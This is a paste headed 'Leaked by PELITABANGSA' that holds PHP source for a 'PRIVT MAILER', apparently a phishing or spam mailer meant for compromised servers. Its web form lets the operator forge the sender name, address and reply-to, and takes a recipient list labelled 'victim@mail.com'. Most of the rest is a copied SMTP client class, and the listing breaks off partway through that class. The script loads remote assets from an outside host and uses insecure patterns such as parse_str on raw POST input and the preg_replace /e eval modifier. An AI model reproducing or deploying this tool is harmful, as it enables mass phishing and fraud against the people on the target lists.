· 8 years ago · Mar 25, 2018, 05:22 PM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?php
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15
16if(isset($_POST['action'] ) ){
17
18$b = query_str($_POST);
19parse_str($b);
20$sslclick=lrtrim($sslclick);
21$action=lrtrim($action);
22$message=lrtrim($message);
23$emaillist=lrtrim($emaillist);
24$from=lrtrim($from);
25$reconnect=lrtrim($reconnect);
26$epriority=lrtrim($epriority);
27$my_smtp=lrtrim($my_smtp);
28$ssl_port=lrtrim($ssl_port);
29$smtp_username=lrtrim($smtp_username);
30$smtp_password=lrtrim($smtp_password);
31$replyto=lrtrim($replyto);
32$subject=lrtrim($subject);
33$realname=lrtrim($realname);
34$subject_base=lrtrim($subject);
35$realname_base=lrtrim($realname);
36$file_name=lrtrim($file);
37$urlz=lrtrim($urlz);
38$contenttype=lrtrim($contenttype);
39$encode_text=$_POST['encode'];
40
41 $message = urlencode($message);
42 $message = ereg_replace("%5C%22", "%22", $message);
43 $message = urldecode($message);
44 $message = stripslashes($message);
45 $subject = stripslashes($subject);
46 if ($encode_text == "yes") {
47 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
48 $subject = str_replace(' ', '_', $subject);
49 $subject = "=?UTF-8?Q?$subject?=";
50 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
51 $realname = str_replace(' ', '_', $realname);
52 $realname = "=?UTF-8?Q?$realname?=";
53 }
54}
55?>
56<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
57<html xmlns="http://www.w3.org/1999/xhtml">
58
59<head>
60<title>PRIVT MAILER IDBTE4M</title>
61<link rel="SHORTCUT ICON" href="http://kefiex.yu.tl/files/bnx.png"/>
62<meta name="robots" content="noindex,nofollow" />
63<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
64<link rel="stylesheet" href="http://slackerc0de.us/css/ppchk.css">
65<script type="text/javascript"> var SPklikkanan = 'TILANG';</script> <script type="text/javascript" src="http://slackerc0de.us/js/block.js"></script>
66</head>
67<div class="inputzbut" id="inputzbut">
68<center>
69<form name="form1" method="post" action="" enctype="multipart/form-data">
70<table width="842" border="0">
71 <tr>
72
73 <td width="100%" colspan="4" height="36">
74
75 <b>
76<center>
77
78
79 </tr>
80
81 <tr>
82
83 <td width="10%" height="22" bordercolor="#E8E8E8" >
84
85 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
86 Your Email:</font></div>
87
88 </td>
89
90 <td width="18%" height="22" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
91
92 <input type="text" name="from" value="<?=$from;?>" size="30">
93
94 </font></td>
95
96 <td width="31%" height="22" >
97
98 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
99 Your Name:</font></div>
100
101 </td>
102
103 <td width="41%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
104
105 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
106
107 </font></td>
108
109 </tr>
110 <tr>
111
112 <td width="10%" height="22" >
113
114 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
115 Reply-To:</font></div>
116
117 </td>
118
119 <td width="18%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
120
121 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
122
123 </font></td>
124
125 <td width="31%" height="22" >
126
127 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
128 Email Priority:</font></td>
129
130 <td width="41%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
131
132 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
133 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
134 Please Choose -</option>
135 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
136 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
137 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
138 </select></td>
139 </tr>
140
141 <tr>
142
143 <td width="10%" height="22" >
144
145 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
146 Subject:</font></div>
147
148 </td>
149
150 <td colspan="3" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
151
152 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
153
154 </font></td>
155
156 </tr>
157
158
159
160 <tr valign="top">
161
162<td colspan="3" height="190" ><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
163
164 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
165
166 <br>
167
168 <input type="radio" name="contenttype" value="plain" >
169
170 Plain
171
172 <input type="radio" name="contenttype" value="html" checked>
173
174 HTML
175
176 <input type="hidden" name="action" value="send">
177
178 <input type="submit" value="Send Message">
179
180 </font></td>
181
182 <td width="41%" height="190"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
183
184 <textarea name="emaillist" cols="30" rows="10" placeholder="victim@mail.com"><?=$emaillist;?></textarea>
185
186 </font></td>
187
188 </tr>
189
190 </table>
191
192</form>
193
194
195
196<?
197
198if ($action){
199 if (!$from && !$subject && !$message && !$emaillist){
200 print "<script>alert('Please complete all fields before sending your message.'); </script>";
201 die(); }
202
203class SMTP
204{
205 /**
206 * SMTP server port
207 * @var int
208 */
209 var $SMTP_PORT = 25;
210
211 /**
212 * SMTP reply line ending
213 * @var string
214 */
215 var $CRLF = "\r\n";
216
217 /**
218 * Sets whether debugging is turned on
219 * @var bool
220 */
221 var $do_debug; # the level of debug to perform
222
223 /**
224 * Sets VERP use on/off (default is off)
225 * @var bool
226 */
227 var $do_verp = false;
228
229 /**#@+
230 * @access private
231 */
232 var $smtp_conn; # the socket to the server
233 var $error; # error if any on the last call
234 var $helo_rply; # the reply the server sent to us for HELO
235 /**#@-*/
236
237 /**
238 * Initialize the class so that the data is in a known state.
239 * @access public
240 * @return void
241 */
242 function SMTP() {
243 $this->smtp_conn = 0;
244 $this->error = null;
245 $this->helo_rply = null;
246
247 $this->do_debug = 0;
248 }
249
250 /*************************************************************
251 * CONNECTION FUNCTIONS *
252 ***********************************************************/
253
254 /**
255 * Connect to the server specified on the port specified.
256 * If the port is not specified use the default SMTP_PORT.
257 * If tval is specified then a connection will try and be
258 * established with the server for that number of seconds.
259 * If tval is not specified the default is 30 seconds to
260 * try on the connection.
261 *
262 * SMTP CODE SUCCESS: 220
263 * SMTP CODE FAILURE: 421
264 * @access public
265 * @return bool
266 */
267 function Connect($host,$port=0,$tval=30) {
268 # set the error val to null so there is no confusion
269 $this->error = null;
270
271 # make sure we are __not__ connected
272 if($this->connected()) {
273 # ok we are connected! what should we do?
274 # for now we will just give an error saying we
275 # are already connected
276 $this->error = array("error" => "Already connected to a server");
277 return false;
278 }
279
280 if(empty($port)) {
281 $port = $this->SMTP_PORT;
282 }
283
284 #connect to the smtp server
285 $this->smtp_conn = fsockopen($host, # the host of the server
286 $port, # the port to use
287 $errno, # error number if any
288 $errstr, # error message if any
289 $tval); # give up after ? secs
290 # verify we connected properly
291 if(empty($this->smtp_conn)) {
292 $this->error = array("error" => "Failed to connect to server",
293 "errno" => $errno,
294 "errstr" => $errstr);
295 if($this->do_debug >= 1) {
296 echo "SMTP -> ERROR: " . $this->error["error"] .
297 ": $errstr ($errno)" . $this->CRLF;
298 }
299 return false;
300 }
301
302 # sometimes the SMTP server takes a little longer to respond
303 # so we will give it a longer timeout for the first read
304 // Windows still does not have support for this timeout function
305 if(substr(PHP_OS, 0, 3) != "WIN")
306 socket_set_timeout($this->smtp_conn, $tval, 0);
307
308 # get any announcement stuff
309 $announce = $this->get_lines();
310
311 # set the timeout of any socket functions at 1/10 of a second
312 //if(function_exists("socket_set_timeout"))
313 // socket_set_timeout($this->smtp_conn, 0, 100000);
314
315 if($this->do_debug >= 2) {
316 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
317 }
318
319 return true;
320 }
321
322 /**
323 * Performs SMTP authentication. Must be run after running the
324 * Hello() method. Returns true if successfully authenticated.
325 * @access public
326 * @return bool
327 */
328 function Authenticate($username, $password) {
329 // Start authentication
330 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
331
332 $rply = $this->get_lines();
333 $code = substr($rply,0,3);
334
335 if($code != 334) {
336 $this->error =
337 array("error" => "AUTH not accepted from server",
338 "smtp_code" => $code,
339 "smtp_msg" => substr($rply,4));
340 if($this->do_debug >= 1) {
341 echo "SMTP -> ERROR: " . $this->error["error"] .
342 ": " . $rply . $this->CRLF;
343 }
344 return false;
345 }
346
347 // Send encoded username
348 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
349
350 $rply = $this->get_lines();
351 $code = substr($rply,0,3);
352
353 if($code != 334) {
354 $this->error =
355 array("error" => "Username not accepted from server",
356 "smtp_code" => $code,
357 "smtp_msg" => substr($rply,4));
358 if($this->do_debug >= 1) {
359 echo "SMTP -> ERROR: " . $this->error["error"] .
360 ": " . $rply . $this->CRLF;
361 }
362 return false;
363 }
364
365 // Send encoded password
366 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
367
368 $rply = $this->get_lines();
369 $code = substr($rply,0,3);
370
371 if($code != 235) {
372 $this->error =
373 array("error" => "Password not accepted from server",
374 "smtp_code" => $code,
375 "smtp_msg" => substr($rply,4));
376 if($this->do_debug >= 1) {
377 echo "SMTP -> ERROR: " . $this->error["error"] .
378 ": " . $rply . $this->CRLF;
379 }
380 return false;
381 }
382
383 return true;
384 }
385
386 /**
387 * Returns true if connected to a server otherwise false
388 * @access private
389 * @return bool
390 */
391 function Connected() {
392 if(!empty($this->smtp_conn)) {
393 $sock_status = socket_get_status($this->smtp_conn);
394 if($sock_status["eof"]) {
395 # hmm this is an odd situation... the socket is
396 # valid but we are not connected anymore
397 if($this->do_debug >= 1) {
398 echo "SMTP -> NOTICE:" . $this->CRLF .
399 "EOF caught while checking if connected";
400 }
401 $this->Close();
402 return false;
403 }
404 return true; # everything looks good
405 }
406 return false;
407 }
408
409 /**
410 * Closes the socket and cleans up the state of the class.
411 * It is not considered good to use this function without
412 * first trying to use QUIT.
413 * @access public
414 * @return void
415 */
416 function Close() {
417 $this->error = null; # so there is no confusion
418 $this->helo_rply = null;
419 if(!empty($this->smtp_conn)) {
420 # close the connection and cleanup
421 fclose($this->smtp_conn);
422 $this->smtp_conn = 0;
423 }
424 }
425
426 /***************************************************************
427 * SMTP COMMANDS *
428 *************************************************************/
429
430 /**
431 * Issues a data command and sends the msg_data to the server
432 * finializing the mail transaction. $msg_data is the message
433 * that is to be send with the headers. Each header needs to be
434 * on a single line followed by a <CRLF> with the message headers
435 * and the message body being seperated by and additional <CRLF>.
436 *
437 * Implements rfc 821: DATA <CRLF>
438 *
439 * SMTP CODE INTERMEDIATE: 354
440 * [data]
441 * <CRLF>.<CRLF>
442 * SMTP CODE SUCCESS: 250
443 * SMTP CODE FAILURE: 552,554,451,452
444 * SMTP CODE FAILURE: 451,554
445 * SMTP CODE ERROR : 500,501,503,421
446 * @access public
447 * @return bool
448 */
449 function Data($msg_data) {
450 $this->error = null; # so no confusion is caused
451
452 if(!$this->connected()) {
453 $this->error = array(
454 "error" => "Called Data() without being connected");
455 return false;
456 }
457
458 fputs($this->smtp_conn,"DATA" . $this->CRLF);
459
460 $rply = $this->get_lines();
461 $code = substr($rply,0,3);
462
463 if($this->do_debug >= 2) {
464 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
465 }
466
467 if($code != 354) {
468 $this->error =
469 array("error" => "DATA command not accepted from server",
470 "smtp_code" => $code,
471 "smtp_msg" => substr($rply,4));
472 if($this->do_debug >= 1) {
473 echo "SMTP -> ERROR: " . $this->error["error"] .
474 ": " . $rply . $this->CRLF;
475 }
476 return false;
477 }
478
479 # the server is ready to accept data!
480 # according to rfc 821 we should not send more than 1000
481 # including the CRLF
482 # characters on a single line so we will break the data up
483 # into lines by \r and/or \n then if needed we will break
484 # each of those into smaller lines to fit within the limit.
485 # in addition we will be looking for lines that start with
486 # a period '.' and append and additional period '.' to that
487 # line. NOTE: this does not count towards are limit.
488
489 # normalize the line breaks so we know the explode works
490 $msg_data = str_replace("\r\n","\n",$msg_data);
491 $msg_data = str_replace("\r","\n",$msg_data);
492 $lines = explode("\n",$msg_data);
493
494 # we need to find a good way to determine is headers are
495 # in the msg_data or if it is a straight msg body
496 # currently I am assuming rfc 822 definitions of msg headers
497 # and if the first field of the first line (':' sperated)
498 # does not contain a space then it _should_ be a header
499 # and we can process all lines before a blank "" line as
500 # headers.
501 $field = substr($lines[0],0,strpos($lines[0],":"));
502 $in_headers = false;
503 if(!empty($field) && !strstr($field," ")) {
504 $in_headers = true;
505 }
506
507 $max_line_length = 998; # used below; set here for ease in change
508
509 while(list(,$line) = @each($lines)) {
510 $lines_out = null;
511 if($line == "" && $in_headers) {
512 $in_headers = false;
513 }
514 # ok we need to break this line up into several
515 # smaller lines
516 while(strlen($line) > $max_line_length) {
517 $pos = strrpos(substr($line,0,$max_line_length)," ");
518
519 # Patch to fix DOS attack
520 if(!$pos) {
521 $pos = $max_line_length - 1;
522 }
523
524 $lines_out[] = substr($line,0,$pos);
525 $line = substr($line,$pos + 1);
526 # if we are processing headers we need to
527 # add a LWSP-char to the front of the new line
528 # rfc 822 on long msg headers
529 if($in_headers) {
530 $line = "\t" . $line;
531 }
532 }
533 $lines_out[] = $line;
534
535 # now send the lines to the server
536 while(list(,$line_out) = @each($lines_out)) {
537 if(strlen($line_out) > 0)
538 {
539 if(substr($line_out, 0, 1) == ".") {
540 $line_out = "." . $line_out;
541 }
542 }
543 fputs($this->smtp_conn,$line_out . $this->CRLF);
544 }
545 }
546
547 # ok all the message data has been sent so lets get this
548 # over with aleady
549 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
550
551 $rply = $this->get_lines();
552 $code = substr($rply,0,3);
553
554 if($this->do_debug >= 2) {
555 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
556 }
557
558 if($code != 250) {
559 $this->error =
560 array("error" => "DATA not accepted from server",
561 "smtp_code" => $code,
562 "smtp_msg" => substr($rply,4));
563 if($this->do_debug >= 1) {
564 echo "SMTP -> ERROR: " . $this->error["error"] .
565 ": " . $rply . $this->CRLF;
566 }
567 return false;
568 }
569 return true;
570 }
571
572 /**
573 * Expand takes the name and asks the server to list all the
574 * people who are members of the _list_. Expand will return
575 * back and array of the result or false if an error occurs.
576 * Each value in the array returned has the format of:
577 * [ <full-name> <sp> ] <path>
578 * The definition of <path> is defined in rfc 821
579 *
580 * Implements rfc 821: EXPN <SP> <string> <CRLF>
581 *
582 * SMTP CODE SUCCESS: 250
583 * SMTP CODE FAILURE: 550
584 * SMTP CODE ERROR : 500,501,502,504,421
585 * @access public
586 * @return string array
587 */
588 function Expand($name) {
589 $this->error = null; # so no confusion is caused
590
591 if(!$this->connected()) {
592 $this->error = array(
593 "error" => "Called Expand() without being connected");
594 return false;
595 }
596
597 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
598
599 $rply = $this->get_lines();
600 $code = substr($rply,0,3);
601
602 if($this->do_debug >= 2) {
603 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
604 }
605
606 if($code != 250) {
607 $this->error =
608 array("error" => "EXPN not accepted from server",
609 "smtp_code" => $code,
610 "smtp_msg" => substr($rply,4));
611 if($this->do_debug >= 1) {
612 echo "SMTP -> ERROR: " . $this->error["error"] .
613 ": " . $rply . $this->CRLF;
614 }
615 return false;
616 }
617
618 # parse the reply and place in our array to return to user
619 $entries = explode($this->CRLF,$rply);
620 while(list(,$l) = @each($entries)) {
621 $list[] = substr($l,4);
622 }
623
624 return $list;
625 }
626
627 /**
628 * Sends the HELO command to the smtp server.
629 * This makes sure that we and the server are in
630 * the same known state.
631 *
632 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
633 *
634 * SMTP CODE SUCCESS: 250
635 * SMTP CODE ERROR : 500, 501, 504, 421
636 * @access public
637 * @return bool
638 */
639 function Hello($host="") {
640 $this->error = null; # so no confusion is caused
641
642 if(!$this->connected()) {
643 $this->error = array(
644 "error" => "Called Hello() without being connected");
645 return false;
646 }
647
648 # if a hostname for the HELO was not specified determine
649 # a suitable one to send
650 if(empty($host)) {
651 # we need to determine some sort of appopiate default
652 # to send to the server
653 $host = "localhost";
654 }
655
656 // Send extended hello first (RFC 2821)
657 if(!$this->SendHello("EHLO", $host))
658 {
659 if(!$this->SendHello("HELO", $host))
660 return false;
661 }
662
663 return true;
664 }
665
666 /**
667 * Sends a HELO/EHLO command.
668 * @access private
669 * @return bool
670 */
671 function SendHello($hello, $host) {
672 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
673
674 $rply = $this->get_lines();
675 $code = substr($rply,0,3);
676
677 if($this->do_debug >= 2) {
678 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
679 }
680
681 if($code != 250) {
682 $this->error =
683 array("error" => $hello . " not accepted from server",
684 "smtp_code" => $code,
685 "smtp_msg" => substr($rply,4));
686 if($this->do_debug >= 1) {
687 echo "SMTP -> ERROR: " . $this->error["error"] .
688 ": " . $rply . $this->CRLF;
689 }
690 return false;
691 }
692
693 $this->helo_rply = $rply;
694
695 return true;
696 }
697
698 /**
699 * Gets help information on the keyword specified. If the keyword
700 * is not specified then returns generic help, ussually contianing
701 * A list of keywords that help is available on. This function
702 * returns the results back to the user. It is up to the user to
703 * handle the returned data. If an error occurs then false is
704 * returned with $this->error set appropiately.
705 *
706 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
707 *
708 * SMTP CODE SUCCESS: 211,214
709 * SMTP CODE ERROR : 500,501,502,504,421
710 * @access public
711 * @return string
712 */
713 function Help($keyword="") {
714 $this->error = null; # to avoid confusion
715
716 if(!$this->connected()) {
717 $this->error = array(
718 "error" => "Called Help() without being connected");
719 return false;
720 }
721
722 $extra = "";
723 if(!empty($keyword)) {
724 $extra = " " . $keyword;
725 }
726
727 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
728
729 $rply = $this->get_lines();
730 $code = substr($rply,0,3);
731
732 if($this->do_debug >= 2) {
733 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
734 }
735
736 if($code != 211 && $code != 214) {
737 $this->error =
738 array("error" => "HELP not accepted from server",
739 "smtp_code" => $code,
740 "smtp_msg" => substr($rply,4));
741 if($this->do_debug >= 1) {
742 echo "SMTP -> ERROR: " . $this->error["error"] .
743 ": " . $rply . $this->CRLF;
744 }
745 return false;
746 }
747
748 return $rply;
749 }
750
751 /**
752 * Starts a mail transaction from the email address specified in
753 * $from. Returns true if successful or false otherwise. If True
754 * the mail transaction is started and then one or more Recipient
755 * commands may be called followed by a Data command.
756 *
757 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
758 *
759 * SMTP CODE SUCCESS: 250
760 * SMTP CODE SUCCESS: 552,451,452
761 * SMTP CODE SUCCESS: 500,501,421
762 * @access public
763 * @return bool
764 */
765 function Mail($from) {
766 $this->error = null; # so no confusion is caused
767
768 if(!$this->connected()) {
769 $this->error = array(
770 "error" => "Called Mail() without being connected");
771 return false;
772 }
773
774 $useVerp = ($this->do_verp ? "XVERP" : "");
775 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
776
777 $rply = $this->get_lines();
778 $code = substr($rply,0,3);
779
780 if($this->do_debug >= 2) {
781 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
782 }
783
784 if($code != 250) {
785 $this->error =
786 array("error" => "MAIL not accepted from server",
787 "smtp_code" => $code,
788 "smtp_msg" => substr($rply,4));
789 if($this->do_debug >= 1) {
790 echo "SMTP -> ERROR: " . $this->error["error"] .
791 ": " . $rply . $this->CRLF;
792 }
793 return false;
794 }
795 return true;
796 }
797
798 /**
799 * Sends the command NOOP to the SMTP server.
800 *
801 * Implements from rfc 821: NOOP <CRLF>
802 *
803 * SMTP CODE SUCCESS: 250
804 * SMTP CODE ERROR : 500, 421
805 * @access public
806 * @return bool
807 */
808 function Noop() {
809 $this->error = null; # so no confusion is caused
810
811 if(!$this->connected()) {
812 $this->error = array(
813 "error" => "Called Noop() without being connected");
814 return false;
815 }
816
817 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
818
819 $rply = $this->get_lines();
820 $code = substr($rply,0,3);
821
822 if($this->do_debug >= 2) {
823 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
824 }
825
826 if($code != 250) {
827 $this->error =
828 array("error" => "NOOP not accepted from server",
829 "smtp_code" => $code,
830 "smtp_msg" => substr($rply,4));
831 if($this->do_debug >= 1) {
832 echo "SMTP -> ERROR: " . $this->error["error"] .
833 ": " . $rply . $this->CRLF;
834 }
835 return false;
836 }
837 return true;
838 }
839
840 /**
841 * Sends the quit command to the server and then closes the socket
842 * if there is no error or the $close_on_error argument is true.
843 *
844 * Implements from rfc 821: QUIT <CRLF>
845 *
846 * SMTP CODE SUCCESS: 221
847 * SMTP CODE ERROR : 500
848 * @access public
849 * @return bool
850 */
851 function Quit($close_on_error=true) {
852 $this->error = null; # so there is no confusion
853
854 if(!$this->connected()) {
855 $this->error = array(
856 "error" => "Called Quit() without being connected");
857 return false;
858 }
859
860 # send the quit command to the server
861 fputs($this->smtp_conn,"quit" . $this->CRLF);
862
863 # get any good-bye messages
864 $byemsg = $this->get_lines();
865
866 if($this->do_debug >= 2) {
867 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
868 }
869
870 $rval = true;
871 $e = null;
872
873 $code = substr($byemsg,0,3);
874 if($code != 221) {
875 # use e as a tmp var cause Close will overwrite $this->error
876 $e = array("error" => "SMTP server rejected quit command",
877 "smtp_code" => $code,
878 "smtp_rply" => substr($byemsg,4));
879 $rval = false;
880 if($this->do_debug >= 1) {
881 echo "SMTP -> ERROR: " . $e["error"] . ": " .
882 $byemsg . $this->CRLF;
883 }
884 }
885
886 if(empty($e) || $close_on_error) {
887 $this->Close();
888 }
889
890 return $rval;
891 }
892
893 /**
894 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
895 * Returns true if the recipient was accepted false if it was rejected.
896 *
897 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
898 *
899 * SMTP CODE SUCCESS: 250,251
900 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
901 * SMTP CODE ERROR : 500,501,503,421
902 * @access public
903 * @return bool
904 */
905 function Recipient($to) {
906 $this->error = null; # so no confusion is caused
907
908 if(!$this->connected()) {
909 $this->error = array(
910 "error" => "Called Recipient() without being connected");
911 return false;
912 }
913
914 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
915
916 $rply = $this->get_lines();
917 $code = substr($rply,0,3);
918
919 if($this->do_debug >= 2) {
920 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
921 }
922
923 if($code != 250 && $code != 251) {
924 $this->error =
925 array("error" => "RCPT not accepted from server",
926 "smtp_code" => $code,
927 "smtp_msg" => substr($rply,4));
928 if($this->do_debug >= 1) {
929 echo "SMTP -> ERROR: " . $this->error["error"] .
930 ": " . $rply . $this->CRLF;
931 }
932 return false;
933 }
934 return true;
935 }
936
937 /**
938 * Sends the RSET command to abort and transaction that is
939 * currently in progress. Returns true if successful false
940 * otherwise.
941 *
942 * Implements rfc 821: RSET <CRLF>
943 *
944 * SMTP CODE SUCCESS: 250
945 * SMTP CODE ERROR : 500,501,504,421
946 * @access public
947 * @return bool
948 */
949 function Reset() {
950 $this->error = null; # so no confusion is caused
951
952 if(!$this->connected()) {
953 $this->error = array(
954 "error" => "Called Reset() without being connected");
955 return false;
956 }
957
958 fputs($this->smtp_conn,"RSET" . $this->CRLF);
959
960 $rply = $this->get_lines();
961 $code = substr($rply,0,3);
962
963 if($this->do_debug >= 2) {
964 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
965 }
966
967 if($code != 250) {
968 $this->error =
969 array("error" => "RSET failed",
970 "smtp_code" => $code,
971 "smtp_msg" => substr($rply,4));
972 if($this->do_debug >= 1) {
973 echo "SMTP -> ERROR: " . $this->error["error"] .
974 ": " . $rply . $this->CRLF;
975 }
976 return false;
977 }
978
979 return true;
980 }
981
982 /**
983 * Starts a mail transaction from the email address specified in
984 * $from. Returns true if successful or false otherwise. If True
985 * the mail transaction is started and then one or more Recipient
986 * commands may be called followed by a Data command. This command
987 * will send the message to the users terminal if they are logged
988 * in.
989 *
990 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
991 *
992 * SMTP CODE SUCCESS: 250
993 * SMTP CODE SUCCESS: 552,451,452
994 * SMTP CODE SUCCESS: 500,501,502,421
995 * @access public
996 * @return bool
997 */
998 function Send($from) {
999 $this->error = null; # so no confusion is caused
1000
1001 if(!$this->connected()) {
1002 $this->error = array(
1003 "error" => "Called Send() without being connected");
1004 return false;
1005 }
1006
1007 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1008
1009 $rply = $this->get_lines();
1010 $code = substr($rply,0,3);
1011
1012 if($this->do_debug >= 2) {
1013 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1014 }
1015
1016 if($code != 250) {
1017 $this->error =
1018 array("error" => "SEND not accepted from server",
1019 "smtp_code" => $code,
1020 "smtp_msg" => substr($rply,4));
1021 if($this->do_debug >= 1) {
1022 echo "SMTP -> ERROR: " . $this->error["error"] .
1023 ": " . $rply . $this->CRLF;
1024 }
1025 return false;
1026 }
1027 return true;
1028 }
1029
1030 /**
1031 * Starts a mail transaction from the email address specified in
1032 * $from. Returns true if successful or false otherwise. If True
1033 * the mail transaction is started and then one or more Recipient
1034 * commands may be called followed by a Data command. This command
1035 * will send the message to the users terminal if they are logged
1036 * in and send them an email.
1037 *
1038 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1039 *
1040 * SMTP CODE SUCCESS: 250
1041 * SMTP CODE SUCCESS: 552,451,452
1042 * SMTP CODE SUCCESS: 500,501,502,421
1043 * @access public
1044 * @return bool
1045 */
1046 function SendAndMail($from) {
1047 $this->error = null; # so no confusion is caused
1048
1049 if(!$this->connected()) {
1050 $this->error = array(
1051 "error" => "Called SendAndMail() without being connected");
1052 return false;
1053 }
1054
1055 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1056
1057 $rply = $this->get_lines();
1058 $code = substr($rply,0,3);
1059
1060 if($this->do_debug >= 2) {
1061 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1062 }
1063
1064 if($code != 250) {
1065 $this->error =
1066 array("error" => "SAML not accepted from server",
1067 "smtp_code" => $code,
1068 "smtp_msg" => substr($rply,4));
1069 if($this->do_debug >= 1) {
1070 echo "SMTP -> ERROR: " . $this->error["error"] .
1071 ": " . $rply . $this->CRLF;
1072 }
1073 return false;
1074 }
1075 return true;
1076 }
1077
1078 /**
1079 * Starts a mail transaction from the email address specified in
1080 * $from. Returns true if successful or false otherwise. If True
1081 * the mail transaction is started and then one or more Recipient
1082 * commands may be called followed by a Data command. This command
1083 * will send the message to the users terminal if they are logged
1084 * in or mail it to them if they are not.
1085 *
1086 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1087 *
1088 * SMTP CODE SUCCESS: 250
1089 * SMTP CODE SUCCESS: 552,451,452
1090 * SMTP CODE SUCCESS: 500,501,502,421
1091 * @access public
1092 * @return bool
1093 */
1094 function SendOrMail($from) {
1095 $this->error = null; # so no confusion is caused
1096
1097 if(!$this->connected()) {
1098 $this->error = array(
1099 "error" => "Called SendOrMail() without being connected");
1100 return false;
1101 }
1102
1103 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1104
1105 $rply = $this->get_lines();
1106 $code = substr($rply,0,3);
1107
1108 if($this->do_debug >= 2) {
1109 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1110 }
1111
1112 if($code != 250) {
1113 $this->error =
1114 array("error" => "SOML not accepted from server",
1115 "smtp_code" => $code,
1116 "smtp_msg" => substr($rply,4));
1117 if($this->do_debug >= 1) {
1118 echo "SMTP -> ERROR: " . $this->error["error"] .
1119 ": " . $rply . $this->CRLF;
1120 }
1121 return false;
1122 }
1123 return true;
1124 }
1125
1126 /**
1127 * This is an optional command for SMTP that this class does not
1128 * support. This method is here to make the RFC821 Definition
1129 * complete for this class and __may__ be implimented in the future
1130 *
1131 * Implements from rfc 821: TURN <CRLF>
1132 *
1133 * SMTP CODE SUCCESS: 250
1134 * SMTP CODE FAILURE: 502
1135 * SMTP CODE ERROR : 500, 503
1136 * @access public
1137 * @return bool
1138 */
1139 function Turn() {
1140 $this->error = array("error" => "This method, TURN, of the SMTP ".
1141 "is not implemented");
1142 if($this->do_debug >= 1) {
1143 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1144 }
1145 return false;
1146 }
1147
1148 /**
1149 * Verifies that the name is recognized by the server.
1150 * Returns false if the name could not be verified otherwise
1151 * the response from the server is returned.
1152 *
1153 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1154 *
1155 * SMTP CODE SUCCESS: 250,251
1156 * SMTP CODE FAILURE: 550,551,553
1157 * SMTP CODE ERROR : 500,501,502,421
1158 * @access public
